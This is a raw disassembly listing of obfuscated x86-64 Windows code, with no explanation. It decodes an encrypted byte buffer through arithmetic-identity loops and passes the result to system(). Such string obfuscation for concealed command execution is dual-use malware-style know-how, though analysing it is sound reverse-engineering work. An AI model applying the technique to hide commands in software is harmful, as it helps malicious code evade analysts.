sub dl, 0x4e
jmp 0x1400d3790
lea edx, [rbx + 0x5c]
mov ecx, 0x3e
movzx eax, dl
movzx r10d, bl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d3676
lea edx, [rbx + 0x3a]
mov ecx, gethostname
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d36db
lea edx, [rbx + 0x18]
mov ecx, Ordinal_45
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add cl, cl
add rax, r9
add dl, cl
add rbx, rax
add dl, r11b
inc rbx
jmp 0x1400d2fd2
lea edx, [rbx - 1]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 7
add dl, r11b
cmp r8, 2
jae 0x1400d3635
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400d354f
lea ecx, [rbx + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1e
cmp r9, 0x61
jb 0x1400d3629
movzx r10d, bl
mov edx, ntohl
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r11b
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400d374d
lea edx, [rbx - 0x23]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0xb
add dl, r11b
lea rax, [r9 + r8]
cmp rax, 9
je 0x1400d3659
lea rcx, [r9 + 4]
cmp r8, rcx
jbe 0x1400d34b1
lea ecx, [rbx - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x25
jmp 0x1400d3286
movzx r10d, bl
mov ecx, Ordinal_41
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d3676
lea edx, [rbx - 8]
mov ecx, Ordinal_32
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d37e2
lea edx, [rbx - 0x6e]
mov ecx, 1
movzx eax, dl
dec rbx
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc rbx
jmp 0x1400d2fd2
lea ecx, [rbx + 0x70]
inc r9
movzx eax, cl
dec rbx
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
inc rbx
jmp 0x1400d2fd2
lea ecx, [rbx + 0x4e]
movzx r10d, bl
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x22
jmp 0x1400d374d
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400d33e1
lea edx, [rbx - 0x6f]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 9
jmp 0x1400d32ee
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d3414
lea edx, [rbx - 0x36]
mov ecx, 0x3d
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add cl, cl
add rax, r9
add dl, cl
add rbx, rax
add dl, r11b
inc rbx
jmp 0x1400d2fd2
inc rax
cmp r8, rax
jne 0x1400d3435
lea ecx, [rbx - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x74
jmp 0x1400d36db
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d345c
movzx r10d, bl
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x62
jmp 0x1400d3676
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d3483
movzx r10d, bl
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2c
jmp 0x1400d3790
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d32f1
movzx r10d, bl
mov ecx, 5
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d374d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d34d8
movzx r10d, bl
lea ecx, [r10 - 0x51]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x37
jmp 0x1400d374d
cmp r8, rcx
jne 0x1400d34f9
lea ecx, [rbx + 0x37]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7f
add r8, r9
jmp 0x1400d37e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d351b
lea ecx, [rbx + 0x59]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6f
jmp 0x1400d37e2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d3286
lea ecx, [rbx - 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea edx, [r11 + rcx]
sub dl, 0x39
inc rbx
jmp 0x1400d2fd2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d357f
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea edx, [r11 + rcx]
sub dl, 0xc
inc rbx
jmp 0x1400d2fd2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d35a9
movzx r10d, bl
mov ecx, ntohl
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d3676
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d35d3
movzx r10d, bl
mov ecx, Ordinal_41
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d3790
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d35fe
lea edx, [rbx + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
dec rbx
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc rbx
jmp 0x1400d2fd2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d32b1
movzx r10d, bl
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7c
jmp 0x1400d374d
mov byte [rsp + rbx + 0x70], dl
inc rbx
jmp 0x1400d2fd2
movzx ecx, byte [rsp + rbx + 0x70]
movzx r10d, bl
lea edx, [r10 - 0x18]
movzx eax, dl
sub dl, 0x58
and al, r11b
add al, al
sub cl, al
add dl, cl
add dl, r11b
jmp 0x1400d3790
movzx r10d, bl
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rsp + rbx + 0x70]
lea edx, [r11 + rcx]
sub dl, 0x46
sub r10b, 0x65
inc r9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x3d
add r10b, r11b
movzx eax, r10b
mov byte [rsp + rbx + 0x70], al
add rax, r9
sub rbx, rax
jmp 0x1400d36db
lea ecx, [rbx + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea edx, [r11 + rcx]
add dl, 0x5f
inc rbx
jmp 0x1400d2fd2
lea ecx, [rbx - 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x4d
lea ecx, [rbx + 0x2c]
inc r8
movzx eax, cl
and al, r11b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x34
add cl, r11b
mov byte [rsp + rbx + 0x70], cl
add rbx, rax
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d2fd2
lea ecx, [rbx + 0x4b]
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xd
inc rbx
jmp 0x1400d2fd2
movzx r10d, bl
lea ecx, [r10 + 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x31
movzx eax, r11b
add r10b, 0x57
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x61
add r11b, r10b
mov byte [rsp + rbx + 0x70], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d2fd2
movzx r10d, bl
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x75
add r10b, 0x79
movzx eax, r11b
and al, r10b
movzx ecx, dl
add al, al
sub cl, al
sub cl, 0x4f
add cl, r11b
add cl, r10b
mov byte [rsp + rbx + 0x70], cl
add r8, r9
jmp 0x1400d37e2
lea ecx, [rbx + 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x63
add r8, r9
jmp 0x1400d37e2
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x51
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d2fd2
lea rcx, [rbx + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x1b
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d2fd2
add bl, 0x55
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea edx, [rbx + r11]
sub dl, 0x53
jmp 0x1400d2fd0
add bl, 0x33
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea edx, [rbx + r11]
sub dl, 0x65
jmp 0x1400d2fc0
lea rcx, [rbp + 0x148c0dc]
jmp 0x1400d386d
lea rcx, [rbp + 0xfb096d]
jmp 0x1400d386d
lea rcx, [rsp + 0x70]
call fcn.1400432b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
movzx edx, byte [rbp + 0xb0]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp + 0x40], 0xc7c731cb
movups xmmword [rbp + 0x51], xmm0
mov byte [rbp + 0x61], al
movabs rsi, 0x840b8e97e676f84c
mov dword [rbp + 0x44], 0xd1d9d228
movabs r14, 0xa46803571a2ebaac
mov dword [rbp + 0x48], 0x63d01660
movabs r12, 0x9c50e6274d40ca14
mov dword [rbp + 0x4c], 0x1f6ed11b
movabs r15, 0x8c22abc7b364e8e4
mov byte [rbp + 0x50], 0x48
nop word [rax + rax]
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
xor ebx, ebx
cmp rbx, 0x22
jae 0x1400d426f
movzx r10d, byte [rbp + rbx + 0x40]
mov r11, r10
cmp r8, rbx
ja 0x1400d4266
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d392d
lea rdx, [rbx + rsi]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x14
add dl, r11b
jmp 0x1400d3967
je 0x1400d4202
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d418a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d415a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d413b
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d40f8
cmp r9, rbx
ja 0x1400d425d
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400d3992
lea edx, [rbx + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d39d0
je 0x1400d40da
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d40bb
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d407b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d405f
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d4038
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400d3d10
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d3cef
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d3cca
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d3ca8
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d3c8a
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d3c6e
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d4244
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d422b
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d3b3a
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d3b1e
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d3b02
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d3c44
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d3c2b
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d3c12
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d3bf9
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d3bda
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d3bba
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400d3b98
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d3b73
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d3b56
lea r8, [r9 + 0x400]
lea r9, [r8 + 1]
jmp 0x1400d39e0
lea edx, [rbx + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d39d0
lea edx, [rbx - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d3967
lea edx, [rbx + 0x14]
mov ecx, Ordinal_60
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d3902
lea ecx, [rbx - 0x20]
movzx r11d, bl
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x20
jmp 0x1400d4111
lea edx, [rbx + 0x48]
mov ecx, 4
movzx eax, dl
inc r9
and al, r10b
dec rbx
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc rbx
jmp 0x1400d38f2
lea edx, [rbx - 0x50]
mov ecx, Ordinal_27
movzx eax, dl
dec rbx
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc rbx
jmp 0x1400d38f2
lea edx, [rbx + 0x18]
mov ecx, Ordinal_45
movzx eax, dl
movzx r11d, bl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d4094
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x80
add r8, r9
jmp 0x1400d4172
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x58
jmp 0x1400d4172
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x30
jmp 0x1400d41a5
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 8
jmp 0x1400d41c8
lea edx, [rbx + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add cl, cl
add rax, r9
add dl, cl
add rbx, rax
add dl, r10b
inc rbx
jmp 0x1400d38f2
lea ecx, [rbx + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x38
add r8, r9
jmp 0x1400d4172
movzx r11d, bl
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x10
jmp 0x1400d4094
lea edx, [rbx - 0x28]
mov ecx, ntohl
movzx eax, dl
dec rbx
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc rbx
jmp 0x1400d38f2
lea edx, [rbx + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, dl
inc r9
and al, r10b
dec rbx
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc rbx
jmp 0x1400d38f2
movzx r11d, bl
mov ecx, 0x34
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d4111
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d3dbe
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x14
lea rax, [r8 + r9]
cmp rax, 3
je 0x1400d401b
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400d3e62
lea edx, [rbx + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
cmp r8, 0x10
jae 0x1400d3ffa
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400d3f4b
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x68
cmp r9, 0x200
jb 0x1400d3fee
movzx r11d, bl
mov edx, 4
lea ecx, [r11 + 0x48]
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, dl
jmp 0x1400d4111
jne 0x1400d3de7
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
lea edx, [r10 + rcx]
sub dl, 0x48
inc rbx
jmp 0x1400d38f2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d3e0c
lea edx, [rbx - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d41a5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d3e34
lea edx, [rbx - 0x28]
mov ecx, ntohl
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
add r8, r9
jmp 0x1400d4172
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d3d31
movzx r11d, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d4111
jne 0x1400d3e85
movzx r11d, bl
mov ecx, 0xa
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d4111
inc rax
cmp r8, rax
jne 0x1400d3eab
movzx r11d, bl
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x64
jmp 0x1400d4094
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d3ed0
lea edx, [rbx - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d4172
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d3ef5
lea edx, [rbx + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d41a5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d3f17
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 4
jmp 0x1400d41c8
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d3d63
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
lea edx, [r10 + rcx]
sub dl, 0x2c
inc rbx
jmp 0x1400d38f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d3f7e
lea edx, [rbx - 0x10]
mov ecx, Ordinal_60
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add cl, cl
add rax, r9
add dl, cl
add rbx, rax
add dl, r10b
inc rbx
jmp 0x1400d38f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d3fa3
lea edx, [rbx + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d41a5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d3fc5
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 8
jmp 0x1400d4172
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d3d8e
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x30
add r8, r9
jmp 0x1400d4172
mov byte [rbp + rbx + 0x40], dl
inc rbx
jmp 0x1400d38f2
movzx ecx, byte [rbp + rbx + 0x40]
movzx r11d, bl
lea edx, [r11 - 0x20]
movzx eax, dl
sub dl, 0x20
and al, r10b
add al, al
sub cl, al
add dl, cl
add dl, r10b
jmp 0x1400d4094
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x40]
lea edx, [r10 + rcx]
sub dl, 0x48
jmp 0x1400d41a5
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
lea edx, [r10 + rcx]
sub dl, 0xc
inc rbx
jmp 0x1400d38f2
lea edx, [rbx + 0x64]
mov ecx, Ordinal_35
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d41a5
movzx r11d, bl
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x44
add r11b, 0x2c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x34
add r11b, r10b
add r11b, dl
mov byte [rbp + rbx + 0x40], r11b
add r8, r9
jmp 0x1400d4172
lea ecx, [rbx + 4]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1c
inc rbx
jmp 0x1400d38f2
movzx r11d, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d4111
movzx r11d, bl
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7c
movzx eax, r10b
sub r11b, 0x6c
and al, r11b
add al, al
sub r10b, al
sub r10b, 0xc
add r10b, r11b
mov byte [rbp + rbx + 0x40], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400d38f2
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2c
dec rbx
inc rbx
jmp 0x1400d38f2
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d38f2
lea rcx, [rbx + r12]
movzx r10d, r11b
and r11b, cl
mov eax, Ordinal_60
sub al, r11b
lea edx, [rax + rax]
add dl, r10b
add dl, cl
lea ecx, [rbx - 0x3c]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x5c
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x40], al
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x10]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x70
add cl, r10b
mov byte [rbp + rbx + 0x40], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d38f2
lea rcx, [rbx + r15]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x3c
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d38f2
add bl, 0x7c
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea edx, [r10 + rbx]
sub dl, 0x64
jmp 0x1400d38f0
sub bl, 0x1c
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea edx, [r10 + rbx]
sub dl, 0x3c
jmp 0x1400d38e0
lea rcx, [rbp + 0x16ed350]
jmp 0x1400d4273
lea rcx, [rbp + 0xe5cb9c]
jmp 0x1400d4273
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x170
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret